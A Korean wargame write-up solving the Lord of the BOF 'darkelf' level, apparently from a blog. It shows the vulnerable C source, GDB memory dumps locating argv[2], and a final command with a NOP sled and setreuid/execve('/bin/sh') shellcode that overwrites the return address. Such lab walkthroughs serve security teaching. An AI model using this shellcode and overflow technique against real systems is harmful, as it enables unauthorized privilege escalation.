본문 바로가기

WarGame/LOB

[LOB] wolfman :: argv[2]를 이용한 BOF


  • User : wolfman
  • 문제 : darkelf


darkelf.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
cs


이전 문제와 차이점은 "check the length of argument" 부분에서 argv[1]의 길이를 48자리까지로 제한해 놓았습니다. 그럼으로 이전 문제와 같이 argv[1]을 이용하여 문제를 해결할 수 없습니다. 하지만 argv[2]를 이용하면 문제를 해결할 수 있습니다.


Step 1. GDB를 이용하여 buffer의 크기를 파악하면 40 Byte이고 이어서 SFP와 RET가 각각 4 Byte 씩 위치해 있습니다.


Step 2. 정확한 argv의 메모리 영역을 확인해야 합니다. 다음과 같이 GDB를 이용하여 argv 영역을 파악합니다. buffer 영역에서 특정 지점만큼 떨어져 있는 파란색 영역이 argv[0] 즉, 실행 파일명을 의미하고 초록색 부분이 argv[1] 즉, 첫번째 매개변수를 의미하고 노란색 부분이 argv[2] 즉, 두번째 매개변수를 의미합니다. argv[2]의 위치는 $edx로 찾을 수 있습니다. 그리고 매개변수의 구분자로 0x00이 들어가 있는 것을 확인할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*40'`
Starting program: /home/wolfman/tmp/darkelf `python -c 'print "\xbf"*48'` `python -c 'print "A"*40'`
 
Breakpoint 1, 0x80485f2 in main ()
(gdb) x/60x $esp
0xbffffa74:     0xbffffa80      0xbffffc0d      0x00000015      0xbfbfbfbf
0xbffffa84:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa94:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffaa4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0x00000000
0xbffffab4:     0xbffffaf4      0xbffffb04      0x40013868      0x00000003
0xbffffac4:     0x08048450      0x00000000      0x08048471      0x08048500
0xbffffad4:     0x00000003      0xbffffaf4      0x08048390      0x0804864c
.
.
.
0xbffffbd4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbe4:     0x00000000      0x00000000      0x36690000      0x2f003638
0xbffffbf4:     0x656d6f68      0x6c6f772f      0x6e616d66      0x706d742f
0xbffffc04:     0x7261642f      0x666c656b      0xbfbfbf00      0xbfbfbfbf
0xbffffc14:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc24:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc34:     0xbfbfbfbf      0xbfbfbfbf      0x414100bf      0x41414141
0xbffffc44:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xbffffc54:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc64:     0x00004141      0x00000000      0x00000000      0x00000000
0xbffffc74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc84:     0x00000000      0x00000000      0x00000000      0x00000000
 
(gdb) x/x $edx
0xbffffc3e:     0x41414141
 
(gdb) x/20s 0xbffffbf3
0xbffffbf3:      "/home/wolfman/tmp/darkelf"
0xbffffc0d:      '? <repeats 48 times>
0xbffffc3e:      'A' <repeats 40 times>
cs


Step 3. payload는 다음과 같습니다. buffer와 SFP 영역을 A 문자로 채우고 RET를 위에서 파악한 0x41로 채워져 있는 argv[2] 부분으로 보내고 해당 부분을 NOP 코드로 채워서 NOP 코드를 지나 shellcode를 실행시키면 문제를 해결할 수 있습니다. 


1
2
3
[wolfman@localhost tmp]$ ../darkelf `python -c 'print "A"*44+"\x44\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31
\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c
\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
cs